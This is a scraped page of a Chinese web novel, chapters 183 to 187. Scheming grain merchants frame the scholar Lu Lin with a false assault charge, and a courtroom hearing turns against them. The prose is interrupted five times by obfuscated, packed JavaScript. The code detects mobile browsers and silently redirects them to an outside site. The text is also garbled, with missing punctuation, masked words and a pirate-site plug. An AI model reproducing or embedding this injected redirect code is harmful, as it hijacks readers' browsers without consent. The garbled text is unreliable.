“果然,天底下的男人,都一个德性。” 说着,苏十三娘眼波流转,扫过周炳,又看向床榻上的常万金。 “搞定了陈泉,卢璘就不足为虑了。脱了他那身生员服,我看他还怎么在临安府蹦跶!” 一旁的齐老拐缓缓点头,依旧没开口。 床榻上的常万金闻言,猛地坐起,牵动了伤口,疼得他面容扭曲,显得面目越发狰狞: “都怪这个畜生!” “若不是他在中间上蹿下跳,我们何至于费这么大的功夫!还要平白去求那些狗官!” 常万金越说越气,又想起了今天去钱庄借贷的事,心里的火气更旺了。 “还有钱庄那群吸血的狗东西,也是趁火**!” “老子把名下所有的田产、店铺全都抵押了,他们才肯放款!三十万两,利钱高得吓人!光是这一个月的利钱,都够在临安府买好几座大宅子了!” 周炳闻言,也是一脸阴沉地点了点头。 “我向通源钱庄借贷,情况也差不多。利钱高得离谱,还说了一堆风凉话。” “这群人,永远是稳赚不 赔。不担半点风险可一旦瞧出什么不好的苗头第一个来朝我们索命的也必定是他们。” 苏十三娘嗤笑一声打断了两人的抱怨脸上满是嘲讽。 “瞧你们那点出息!” “眼皮子也太浅了些!这点利钱算什么?” “平白多了三十万石粮食进来你们怎么不想想这其中的利润能翻多少?” 周炳和常万金对视一眼暗自点头。 心里也都清楚苏十三娘说得没错。 若非万无一失他们又岂会甘冒奇险顶着如此高的利钱去借贷。 为了确认沈春芳那封信的真伪他们甚至专门托关系找到了一个曾在沈春芳手下任职过的礼部老官员。 经过那老官员再三确认那封信上的字迹确确实实是出自沈春芳之手绝无伪造的可能。 三十万石粮食入临安! 这个消息千真万确。 也正是这个消息才让他们下定决心不惜一切代价也要将这泼天的富贵尽数吞入腹中。 床榻上常万金听着苏十三娘的话心里的火气不但没消反而烧得更旺。 “明日老子亲自去提学衙门瞧着!” “我倒要看看 周炳脸上也露出阴冷的笑意: “没了功名护体他就是个屁。” “到时候还不是任由常东家随意施为。” 另一边 卢璘等人赶在城门关闭之前回到了半亩园。 半亩园内黄观、陆恒和一众留守的生员早已等得心急如焚。 当看到卢璘、张胜、刘复等人从马车上下来时陆恒悬着的心刚要放下。 可紧接着看到众人的神色后陆恒心提到了嗓子眼。 回来的这几人一个个垂头丧气脸色难看到了极点。 尤其是张胜那张脸黑得能滴出水来就差没把“出大事了”五个字直接刻在脑门上。 陆恒心里咯噔一下连忙迎了上去目光越过众人落在了最后下车的卢璘身上。 卢璘的脸色同样严肃但眉宇间却不见丝毫慌乱。 看到卢璘这副模样,陆恒那颗七上八下的心,这才踏实了不少。 琢之没乱,那就应该不是什么天塌下来的大事。 陆恒走到近前,压低声音问向张胜:““怎么了?城外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453232|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了什么事? “出事了?何止是出事了! 张胜本就是个炮仗,一点就着,憋了一路的火气此刻再也压不住,猛地一拳砸在旁边的马车车厢上。 “那帮畜生!他们给琢之设了个局! 张胜双眼通红,将城外灾民营发生的事情,一五一十,原原本本地吼了出来。 从秦氏的突然发难,到官差和高禀文的恰好出现,再到最后那番颠倒黑白的定罪。 说完,还是气不过,指着城外的方向破口大骂。 “那个叫秦氏的**!忘恩负义的东西!社里平日里怎么对她的?她的良心是被狗吃了! “要不是琢之拦着,我当时就想一刀劈了她! 院子里,所有自强社的生员都听傻了。 一时间,整个院子落针可闻,只剩下张胜粗重的喘息声。 黄观和陆恒对视一眼,两人的脸色瞬间凝重到了极点。 “是四大米行的人出手了。陆恒声音低沉。 “这手笔,够毒,也够绝。官差,还有那个什么高秀才,肯定早就被他们买通了。而且这个时机选的,偏偏是魏大人不在临安府的时候,分明是算计好的。 黄观点了点头,补充道:“不止,代管学政衙门的副学政陈泉,跟知府李大人关系匪和. “他们这是要把所有路都堵死。 “流程走到陈大人那里,恐怕就是一句话的事,先革了琢之的功名,再交由府衙论罪。 院内的气氛,瞬间降到了冰点。 “这这该如何是好? “秋闱在即,琢之的功名要是被革了 “早就该想到的,我们断了人家的财路,人家怎么可能眼睁睁看着!只是没想到,他们的报复来得这么快,手段这么狠! “强辱寡妇.这罪名要是坐实了,琢之一辈子就毁了!我们自强社,也完了! 悲观绝望的情绪,在一众生员内蔓延开来。 本就是一心读书的年轻人,哪里见过这等阵仗。 这根本就是一个死局。 官府、士林,都被对方打点好了,人证物证俱在,他们拿什么去翻盘? 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节) 第183章 鱼上钩了! “要不.我们去府衙门口击鼓鸣冤!我就不信,这临安府,没有王法了!” “对!我们**!把事情闹大!让全江南道的读书人都知道他们的丑恶嘴脸!” “没用的”一名年长的生员苦涩地摇了摇头。 “人家早就把一切都算计好了,我们现在做什么,都只是徒劳。” 众人七嘴八舌,商议着对策,却没一个能拿出真正可行的办法。 就在这时,一直沉默的卢璘终于开口了: “四大米行的报复,在我们的预料之内。” “他们手段如何狠,如何想要置我于死地,这些都不重要。” “重要的是,我们如何借着这次的机会,实现我们最初的目的。” 话音落下,院内瞬间安静下来。 所有人都愣住了,用一种难以置信的表情看着卢璘。 借着这次机会? 这是什么意思? 都被人逼到悬崖边上了,不想着怎么活命,还想着怎么实现目的? 黄观和陆恒两人,在听到卢璘这句话的瞬间,眼睛猛地亮了起来。 黄观上前一步,声音略带激动:““琢之!你.你是不是已经有应对之策了?” 陆恒也紧跟着追问:“我就知道!你肯定有后手!” 卢璘看着两人急切的脸,脸上终于露出了一丝笑意,缓缓点了点头。 但却没有说出具体的后手。 黄观和陆恒对视一眼,瞬间明白了卢璘的顾虑。 家贼未除。 有些话,确实不方便当着所有人的面说。 不过,只要知道琢之有准备,那就够了。 两人齐齐松了口气,心里那块最重的石头,总算是落了地。 眼下这个局面,若是卢璘倒了,凭他们几个,根本撑不起来。 别说平抑粮价了,光是漕帮胡一刀那一关,就没人能过得去,更遑论后面那些环环相扣的复杂操作了。 卢璘将众人的反应尽收眼底,拍了拍手,将所有人的注意力都吸引了过来。 “诸位,都把心放回肚子里。” “天,还没塌下来。” “他们有他们的张良计,我们有我们的过墙梯。” “现在,所有人都打起精神来,各自做好自己分内的事情。该做什么,还做什么。 夜色深沉,半亩园内喧嚣散尽。 先前还挤满人的院子,变得空空荡荡。 只剩下黄观、陆恒、张胜三人,跟着卢璘进了内屋。 房门被走在最后的陆恒反手关上,隔绝了所有窥探的可能。 张胜还在为今天的事愤愤不平,一屁股坐下,止不住地唉声叹气。 黄观则是快步走到卢璘面前,脸色略显激动: “琢之,你猜得没错! “通源钱庄、江南钱庄,还有城里其他几家大的钱庄,我们的人都看到了四大米行的人进出。 “应该是去借贷了! “而且出来的时候都是钱庄大掌柜专程送出来的 陆恒闻言,激动得一拍大腿: “看来四大米行已经确信三十万石粮食是真的了。 黄观笑着补充道:“不仅信了,而且今天城外这事,也看出他们着急了,急着要想除掉琢之。 卢璘丝毫不意外,平静地笑了笑,走到桌边坐下。 “时机,快到了。 “鱼饵已经放出去了,鱼也已经上钩了,现在要做的,就是安静地等着,等他们把所有的身家,都押上这张牌桌。 张胜听到这话,心里的火气消了大半,但还是有些不解。 “琢之,我还是不明白,那秦氏最后为什么会突然改口?她不是被周炳那帮畜生威胁了吗? 卢璘眉头一挑,反问道: “我问她,是不是周炳拿她婆婆和孩子威胁她,就是想确认这一点。 “她当时身子一僵,我就知道,我猜对了。 “秦氏是个可怜人,但也是个聪明人。她知道,周炳那些人靠不住,事成之后,为了封口,她和她的家人,一个都活不了。 “她最后那番话,看似是把所有罪责揽到自己身上,实际上,是在向我求救。 这番话,让屋内的三人都沉默了。 一个在绝境中挣扎求生的弱女子,用性命和名节,下了一场豪赌。 就算知道琢之心里有定计,黄观脸上仍是忧色: “琢之,就算如此,你眼下的处境还是太危 险了。” “副学政陈大人摆明了是周炳的人明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453233|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日提学衙门那边革除你功名的文书一下来咱们就彻底被动了。” “就算后续能洗脱污名可耽搁了这段时间胡二当家那边还有后续的诸多计划恐怕.” 黄观没有再说下去但意思很明显。 整个计划 卢璘要是出了意外哪怕只是被困住几天整个棋局都可能瞬间崩盘。 “光凭我们几个恐怕很难把控全局。”黄观最后还是把担忧说了出来。 陆恒张胜两人闻言同样皱起了眉头。 卢璘抬起头笑着看了一圈几人摇了摇头: “大家不用担心。” “他们想借此扳倒我没那么容易。” 秦氏这件事确实不在他的预料之内。 但那又如何? 从秦氏在帐篷里第一次听到自己名字时表现反常开始卢璘就留了心又岂会没有后手准备? 四大米行以为用这种上不得台面的手段就能将自己置于死地反倒合了卢璘的心意。 正好让他们以为自己已经胜券在握在最得意忘形的时候给他们致命一击。 趁着他们所有人的注意力都集中这件事上的时候正好可以做更多的事情。 想到这里卢璘看向黄观继续开口: “景明你找几个绝对信得过的人手从今天开始在临安府的各大酒楼、茶馆里给我散播消息。” “就说四大米行这段时间囤粮耗尽了所有现银如今资金链已经断了只能四处找钱庄借**来填窟窿。” 陆恒闻言一怔立刻反问:“现在就散播消息?钱庄的人刚把钱借给他们怎么可能会信?” 卢璘眉头一挑笑了起来。 “总得先吹吹风。” “现在不信不代表以后不信。等风吹得久了吹得大了由不得他们不信。” 黄观和陆恒对视一眼虽然还是不太明白其中的关窍但出于对卢璘的信任黄观还是点了点头。 “我马上去办!” 说着黄观又想起了什么从怀里掏出一张纸条以及一个小包裹。 “对了琢之就在刚才胡二当家派人传信过来。” “他说你交代的事情已经办妥了。” 卢璘接过纸条展开一看脸上的笑意更甚。 纸条上只有寥寥几个字。 “人已入瓮静待君令。” 第184章 对簿公堂! 翌日,清晨。 天刚蒙蒙亮,临安府提学衙门外,便已经围满了人。 里三层外三层,黑压压的一片,大多是闻讯赶来看热闹的百姓。 人群之中,还夹杂着不少穿着儒衫的生员,一个个义愤填膺,交头接耳。 “听说了吗?江南案首卢璘,昨天在城外灾民营,强辱了一个寡妇!” “我的天!真的假的?卢案首看着文质彬彬,怎会做出这等禽兽行径?” “还能有假?人证物证俱在!据说巡检司的官差和城里有名的高秀才都亲眼撞见了!那寡妇当场就要寻死,惨得很呐!” “斯文扫地!简直是我辈读书人之耻!今日学政衙门提审,定要革了他的功名,以正视听!” “我早就觉得这个卢璘心术不正,秋闱在即,不想着温书备考,还成立什么自强社,还好我没进去。” 议论声此起彼伏,几乎是一边倒的声讨。 周炳和常万金站在不远处一座茶楼的二楼雅间,凭栏而望,将楼下的一切尽收眼底。 看着群情激奋的人群,常万金的脸上满是快意,端起茶杯,痛饮一口,咬牙切齿道:“好!骂得好!就该让这畜生身败名裂,遗臭万年!” 周炳脸上也挂着冷笑:“今日之后,临安府再无卢案首。” “没了功名护体,他就是砧板上的鱼肉,任我们宰割。” 就在这时,衙门门口一阵骚动。 一顶小轿在几名衙役的护送下,停在了衙门口。 轿帘掀开,一个挺着肚腩,头发稀疏的半大老头,在两名衙役的搀扶下,慢悠悠地走了下来。 正是临安府副学政陈泉。 陈泉一出现,原本嘈杂的人群瞬间安静了不少。 他整理了一下官服,清了清嗓子,摆出一副官威十足的模样,目光扫过全场,最后落在了人群前列,一名须发皆白的老秀才身上。 “高秉文,你昨日呈上的状纸,本官已经看过了。” 高秀才立刻上前,对着陈泉长揖及地,声泪俱下:“请大人为我江南士林做主!严惩此等败类,以正风气啊!” 陈泉点了点头,脸上露出痛心疾首的表情。 “光天化日,强辱民女,此等行径,骇人听闻! 本官既代管学政,断然不会坐视不管! “来人!升堂! “传,卢璘! 话音落下,衙门两侧的衙役立刻手持水火棍,威风凛凛地站成两排。 没过多久,卢璘的身影便出现在了街角。 穿着一身青色儒衫,身形挺拔,步履从容,脸上不见丝毫慌乱。 围观的人群自动分开一条道路,无数道鄙夷、愤怒、幸灾乐祸的目光,尽数落在他身上。 卢璘视若无睹,径直走到堂前,对着堂上端坐的陈泉,不卑不亢地拱手行礼。 “学生卢璘,见过陈大人。 茶楼上,常万金看到卢璘这副镇定自若的模样,心里的火气就不打一处来。 “死到临头了,还在这装腔作势!我倒要看看,你还能装到什么时候! 公堂之上,陈泉重重一拍惊堂木,厉声喝问:“卢璘!你可知罪! 卢璘抬起头,迎上陈泉的目光,平静地开口。 “学生不知。 “放肆!陈泉勃然大怒。 “人证物证俱在,岂容你在此狡辩! “来人!带人证! 很快,昨日那几名官差,连同那个哭得梨花带雨的秦氏,一同被带上了公堂。 秦氏一上堂,便扑通一声跪倒在地,哭喊着:“请大人为民女做主啊! 陈泉冷眼瞥向卢璘:“你还有何话可说? 卢璘的目光越过众人,落在了秦氏身上,缓缓开口。 “我只问你一句,你的婆婆和孩子,现在何处? 此言一出,秦氏哭声一滞,浑身剧烈地颤抖起来。 堂上的陈泉见状,再次猛拍惊堂木:“大胆狂徒!竟敢当堂威胁苦主! 陈泉说完,肃立两侧的衙役齐刷刷把手中水火棍往地上重击,瞪向卢璘。 卢璘浑然不惧,没有理会陈泉的怒喝和衙役的怒视,看着地上不住发抖的秦氏,再次开口: “你可得想好了再回答。 说着,从怀中缓缓掏出一样东西。 一个银质的长命锁,样式普通,卢璘将长命锁拿在手上,轻轻摩挲,眼神直直的盯着秦氏。 手中的长命锁是昨夜胡一刀派人传信时一并送 过来的。 自从那晚从秦氏反常的举动中确认了她是被胁迫之后卢璘便立刻才气传信请胡一刀帮忙查出秦氏婆婆和孩子的下落。 漕帮的效率确实没让卢璘失望。 不到一个晚上胡一刀的人不仅找到了被周炳藏起来的秦氏家人还成功将人神不知鬼不觉地转移到了安全的地方。 这个长命锁就是从秦氏孩子身上取下的。 此刻给秦氏亮出长命锁的意思也很简单。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453234|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就是告诉秦氏你的家人现在很安全。 果然原本还在瑟瑟发抖的秦氏在看到那个长命锁的瞬间整个身子猛地一震。 随后秦氏抬起头布满泪痕的眼睛盯着卢璘手中的长命锁看了好一会这才轻轻点头。 得到秦氏的回复卢璘嘴角微笑收起长命锁后转身重新面向堂上的陈泉朗声开口:“大人学生以为此事疑点重重分明是有人蓄意构陷!” “比如为何巡检司的官差和这位高秀才会如此凑巧地出现在城外灾民营?” “明明不在巡检司的巡值排班上却特意跑到城外就为了巡察学生?” 话音未落卢璘从袖中取出一张拓印的纸高高举起。 “这是学生托人从县衙拓印的临安府巡检司昨日的卯簿记录!” 说着卢璘展开纸张把卯簿记录上的内容念了出来。 “初二日巡检司日巡分班 “晨起点卯画押申时归衙核销凡擅离者笞二十。” “本日当值:王五等巡城东周焕等休沐。巡检李印。” 周焕正是昨日带队抓人的那名官差此刻也正穿着官服站在公堂之上一脸正气。 卢璘念完转头看向他目光灼灼: “周差爷据卯簿所载昨日申时三刻你正当休沐。敢问你既是休沐又是如何亲眼所见学生行凶的?” “难道周差爷是特意顶着‘擅离职守笞二十’的罪名也要专程去灾民营看学生如何行凶不成?” 说完卢璘好整以暇地看着周焕。 四大米行这次设局太过匆忙仓促了。 只顾着让巡检司的人抓到案发现场却忘了核对最基本的点卯记录。 公堂外一直提心吊胆的自强社众人看到卢璘拿出这关键证据瞬间精神大振! “我就知道!琢之定有后手!” “哈哈!这下看他们怎么解释!休沐的官差专程跑去城外抓人?说破天也没人信!” “不在岗却出现在案发现场这分明就是栽赃陷害!” 原本一边倒的议论声也开始出现了动摇。 围观看热闹的百姓窃窃私语。 “好像是有点道理啊……卢案首名声那么好怎么会干这种事。” “看来是得罪什么大人物了被人给算计了。” “.” 公堂之上周焕的脸上一阵青一阵白当场就愣住了。 但很快反应过来梗着脖子狡辩道:“是是我跟王五换了班!王五他老娘病了他临时有事求我替他当值!这种小事难道还要事事上报不成?” 第185章 风起! 堂上的陈泉一听,立刻找到了台阶下,重重一拍惊堂木。 “肃静!” 先是瞥了卢璘一眼,冷声道:“既然是同僚之间换班当值,事出有因,情有可原!事后补办手续便是!” “重要的是,周焕当场抓获你强辱寡妇,人证物证俱在!这才是关键!卢璘,你休要在此狡辩,转移视线!” 卢璘闻言,忍不住摇头失笑。 “大人说的是,换班当值,确实是小事。” 接着话锋一转,反问道:“可学生怎么听说,这换班,不是白换的?” “王五亲口承认,是周差爷给了他五两银子,他才答应换班的。” “敢问陈大人,还有自己掏钱,求着别人替自己休沐的道理吗?这又作何解释?” 卢璘话音刚落,周焕当场就炸了**,指着卢璘的鼻子破口大骂。 “你放屁!王五那个王八蛋敢胡说八道!” “根本不止五两!老子明明给了他二十两!” 话一出口,周焕自己就僵住了。 “哗!” 堂内堂外,瞬间一片哗然,尤其是自强社的生员们,一个个忍俊不禁。 “噢,原来是二十两啊!不是五两银啊!” “这官差真是个蠢猪,这么简单就被套出话来了!” “花二十两银子去替别人当值?图什么?不就是为了去栽赃陷害吗!” 议论声铺天盖地,周焕的脸已经涨成了猪肝色,恨不得找个地缝钻进去。 卢璘脸上笑意盈盈,转向公堂上的陈泉,双手一摊: “陈大人,现在,还用学生多说什么吗?” 与此同时,临安府城,通源钱庄后院。 钱庄大掌柜孙德海,正陪着一个身穿锦袍的中年人,在院子里散步闲聊。 “王东家,这次可多亏了您出手相助啊。”孙德海满脸堆笑,语气谦卑。 “若不是有您帮一手,周炳那三十万两,我还真不敢这么轻易就放出去。” 被称作王东家的中年人,正是临安府最大的绸缎商,王润发。 王润发点了点头,不紧不慢地开口:“孙掌柜客气了。咱们两家合作多年,这点小事,何足挂齿。” “况且,我也是看 在周炳他们抵押了那么多田产店铺的份上不然这笔钱我也不敢让孙掌柜你冒这个险。” 孙德海连连点头:“是是是王东家说的是不过还是感谢王东家伸出援手啊说起来惭愧我一个开钱庄的居然拿不出现银.” “不过话说回来这四大米行这次的动静可真不小啊。我听说光是今天一天他们从各家钱庄借走的银子加起来怕是有一百多万两了。” 王润发冷笑一声:“一百多万两买三十万石粮食这笔买卖怎么算都亏不了。” “只要把那个穷秀才按死临安府的粮价还不是他们说了算?到时候别说一百万两就是三百万两也能轻易赚回来。” 孙德海叹了口气:“可惜了卢案首一片为民之心终究是抵不过这些人的手段啊。” “手段?” 王润发嗤笑一声脸上满是不屑:“孙掌柜你我都是生意人应该最清楚。这世上哪有什么仁义道德只有白花花的银子。” “卢璘那套哄哄那些没见过世面的穷学生还行想跟周炳他们掰手腕还嫩了点。” 孙德海闻言也只能附和着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453235|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了笑。 两人又聊了几句王润发便起身告辞。 送走了王润发孙德海回到书房一名心腹伙计立刻迎了上来递上一本账册。 “掌柜的都记下了。周炳那边三十万两月息三厘以他名下城南十五间铺面和城郊三百亩良田作抵。” “苏十三娘那边也是三十万两抵押的是她手里的几家酒楼和染坊。” “常万金和齐老拐加起来四十万两能抵押的家产几乎都抵押了。” 孙德海翻看着账册满意地点了点头。 “做得好。” “派人盯紧了 伙计应了一声却又面露难色欲言又止。 “还有什么事?”孙德海问。 “掌柜的刚才小的出去办事听到外面有些风声” “说说四大米行这次是孤注一掷资金早就周转不开了所以才到处借钱。” “还有人说漕帮和四大米行**了三十万石粮食只是开始粮价必崩。” 孙德海闻言先是一愣随即哈哈大笑起来。 “蠢货!” “这种鬼话你也信?” “这明摆着是自强社那群穷秀才走投无路之下故意放出来混淆视听的。” “他们以为这样就能让我们这些钱庄退缩?简直是异想天开!” 孙德海把账册往桌上重重一拍脸上满是讥讽。 “传我的话下去谁要是敢在外面乱嚼舌根扰乱人心直接给我打断腿扔出去!” “是!”伙计吓得一个哆嗦连忙躬身退下。 书房内只剩下孙德海一人看着窗外冷笑。 我管你们怎么斗反正钱庄稳如泰山哪怕米行出了问题也有王润发给我分担风险。 第186章 道德楷模! 茶楼雅间内,常万金看到周焕那副蠢样,气得将手里的茶杯狠狠摔在地上。 砰的一声,上好的瓷器碎了一地。 “这什么猪脑子!这就是你找的人?” 常万金指着楼下公堂的方向,破口大骂:“还二十两银子?这么简单就被那小畜生套出话来!” 周炳的脸色也相当难看,堂弟周焕的表现,确实是把自己的脸都丢尽了。 不过一想到只是走个过场,周炳很快稳住了心神,瞥了一眼暴怒的常万金,冷哼一声。 “急什么。” “不过是个走过场的,你还真指望他有多大能耐?” “放心,陈大人知道该怎么处理。” 常万金喘着粗气,顺着周炳的视线,重新望向了学政衙门。 公堂之上,陈泉听完卢璘那句“陈大人,现在,还用学生多说什么吗?”,一张老脸涨得通红。 也知道继续在巡检司点卯这个问题上纠缠下去,只会愈发被动,败局已定。 “够了!” 陈泉猛地一拍惊堂木,强行打断了堂外愈演愈烈的议论。 他不再看卢璘,而是避重就轻地为周焕开脱:“换班当值,事出有因,乃是同僚互助,何罪之有!事后补办手续便是!” 说完,他根本不给卢璘再次开口的机会,直接转向了一旁的高禀文。 “高先生!你乃士林表率,品行高洁,你来说!将你亲眼所见,公之于众!” 陈泉很清楚,巡检司的程序出了破绽,就必须把关注点拉回到道德层面。 而高秉文,就是临安府出了名的道德楷模。 他就不信了,一个初出茅庐的案首,声望还能大过一个被官府数次表彰,在临安府清誉满几十年的老秀才! 高秉文也一直在等着,见陈泉开口了,连忙上前一步,须发皆张,满面悲愤,用手指着卢璘,一副言辞凿凿的口吻: “不错!老朽亲眼所见,卢璘,犯的是**之罪!此乃悖逆人伦的大罪!” “就算巡检司的点卯记录有疏漏,那也是衙门章程之事!与你德行败坏何干!” “你卢璘,敢摸着自己的良心说,你是清白的吗?” 说完猛地转身,又指向瘫倒在地,不住哭泣 的秦氏声嘶力竭地大叫: “秦氏哭得肝肠寸断!若非被你玷污了清白她一介弱女子为何要受此含冤?” 这一番话说的是正气凛然掷地有声。 堂外围观的百姓刚刚还觉得卢璘是被冤枉的一听高禀文这幅口吻这会儿风向又变了。 “连高秀才都站出来指认了肯定错不了!” “是啊高秀才说的有道理啊!那寡妇哭得那么惨不像是装的。” “高秀才那可是被朝廷嘉奖过那么多次的虽然古板了点考了一辈子没中但人品是没的说的!” “这卢案首真是知人知面不知心!” 自强社的生员们气得不行扯着嗓子反驳: “高秀才又如何?一把年纪了说不定老眼昏花看错了!” “他肯定是收了黑心钱故意来陷害我们社首的!” “.” 可自强社的生员毕竟是少数很快被百姓们的议论声淹没了。 茶楼上常万金看到楼下局势再次逆转脸上再次露出了得意笑容。 周炳也暗自点头嘴角带笑: “这个高秀才虽说古板了点但还真是个好用啊!” “若不是我许诺等事成之后由我姐夫出面推举他为乡贤。” 常万金一愣:“乡贤?费这么大的功夫啊?” 乡贤可不是什么人都能当的。 这可是读书人死后能入官府祠堂祭祀的殊荣还能荫及子孙。 周炳冷哼了一声继续说道:“光这个还不够。还许了他幼孙直接入临安府学免去童试之苦。” “最后又给了他白银千两供他修缮祖祠重铸族谱。” 周炳放下茶杯冷笑连连。 “这三样东西砸下去别说他一个老秀才就是块石头也得给我点个头。” “不过话说回来 常万金闻言重重点头脸上的快意更浓了。 就在这时雅间的门被人猛地推开。 苏十三娘踩着碎步急匆匆地走了进来脸色潮红。 “船!码头来船了!粮食到了!” “什么?” 周炳和常万金同时从椅子上站了起来,异口同声地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453236|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道:“看清楚了?” 苏十三娘喘着粗气,规模不小的胸脯起伏不定:“看清楚了!是常州府过来的船!船身上都挂着旗呢!卸下来的都是粮食,一袋一袋的,就摆在码头的太阳底下晒着!” 常万金听完,先是一怔,随即发出一阵狂笑。 指着楼下学政衙门的方向,面目狰狞地骂道:“这个小畜生!果然把粮食拉过来了!” “好!来得好啊!” “我倒要看看,你那三十万石粮食,够我们塞几天牙缝!” “拉多少,我们就吃多少!让他赔得血本无归!” 苏十三娘看着两人兴奋的样子,又看了看楼下还没结束的公审,开口问道:“堂上还没完?人证物证都在,怎么还这么麻烦?” 周炳眉头微皱,脸上的笑意收敛了几分。 “卢璘这小子,比想象中要难缠一些。” “不过,也差不多该结束了。” 说完,周炳与常万金、苏十三娘三人,再次将视线投向了学政衙门。 公堂内,高禀文听到堂外那些支持自己的议论,见**再次回到自己这边,精神愈发振奋。 向前一步,激动得须发皆张,指着卢璘高声呼喊。 “陈大人!此案已明,何必再问?” “卢璘侮辱寡妇,人证俱全,铁案如山!” “今日若不革其功名,何以正纲常?何以立士风?” 堂外的百姓们本就被带动了情绪,又有几个混在人群中的周府家仆看准时机,振臂高呼: “严惩卢璘!还临安府清白!” “严惩卢璘!” 有了人带头,外面的声浪瞬间被点燃。 高禀文听到外面的声援,更显得意,高举双臂,面向堂外的百姓,声嘶力竭地嘶吼。 “诸位!今日若不除卢璘,他日必有第二个、第三个无耻之徒玷污我江南士林名声!” “长此以往,临安府学子的脊梁何在?我大夏礼义何在?” 原本还有一部分摇摆不定的围观百姓,在高禀文激昂的煽动下,也彻底倒向了一边! “严惩卢璘!” “革除功名!逐出临安府!” “败类!丢我们临安的脸!” 第187章 革谁的功名? 声浪滔天,一波盖过一波,整个学政衙门的屋顶都快要被掀翻了。 茶楼上,常万金兴奋地一拍桌子:“好!成了!这下看他**!” 周炳也是一脸胜券在握的冷笑。 公堂内外,所有人的注意力都集中在卢璘身上。 堂上的陈泉见大势已成,民心可用,一颗心彻底放回了肚子里。 满意地看了一眼高禀文,随即转向堂下,表现出一副悲悯的姿态看着卢璘。 “卢璘,事已至此,**所向。你还有什么话说?” 堂内堂外,瞬间安静下来。 所有人的视线,都聚焦在卢璘身上。 堂内,卢璘不动如山,昂然而立。 他没有看堂上的陈泉,也没有看状若疯癫的高秉文。 视线,先是在堂外一张张愤怒、鄙夷、幸灾乐祸的脸,以及自强社生员们担忧的脸上扫过。 最后,定格在堂内,跪在地上瑟瑟发抖的秦氏身上。 就在所有人都以为卢璘已经无力回天,准备束手就擒的时候。 异变陡生! 跪在地上的秦氏,忽然停止了哭泣。 她缓缓抬起头,满是泪痕的脸上,已经没有刚才的恐惧。 秦氏猛地从地上站了起来! 突兀的起身,让所有人都愣住了。 紧接着,在众人惊愕的注视下,秦氏踉跄几步,冲到公堂中央,扑通一声,朝着陈泉重重跪下! “陈大人,卢相公是冤枉的啊!” 秦氏凄厉的哭喊,如平地起惊雷,炸响在每个人耳边! 全场哗然! 茶楼上,周炳和常万金脸上的笑容瞬间僵住。 “她她说什么?”常万金不敢相信自己的耳朵。 周炳也不敢置信,秦氏居然会在这个时候反水,这女人当真不顾自己婆婆和孩子了吗? 世上怎有这么狠心的女人? 堂上的陈泉更是猛地从椅子上站起,前倾着身子,厉声喝问:“大胆秦氏,你胡说什么?” 秦氏深吸一口气,猛地回头,直直指向一旁同样目瞪口呆的高禀文和周焕。 “是他们!是他们逼我诬陷卢恩公的!” “他们抓了我的婆婆和孩子! 他们说,我若不从,就让他们一尸两命!就让我**. “民女.民女是被逼的啊! 说完,秦氏再也支撑不住,整个人瘫软在地,放声大哭。 整个学政衙门内外,死一般的寂静。 针落可闻。 所有人都被这惊天逆转给震得脑子一片空白。 紧接着,人群瞬间炸开了锅! “什么?竟然是诬告? “我的天!我就说卢案首不是那种人! 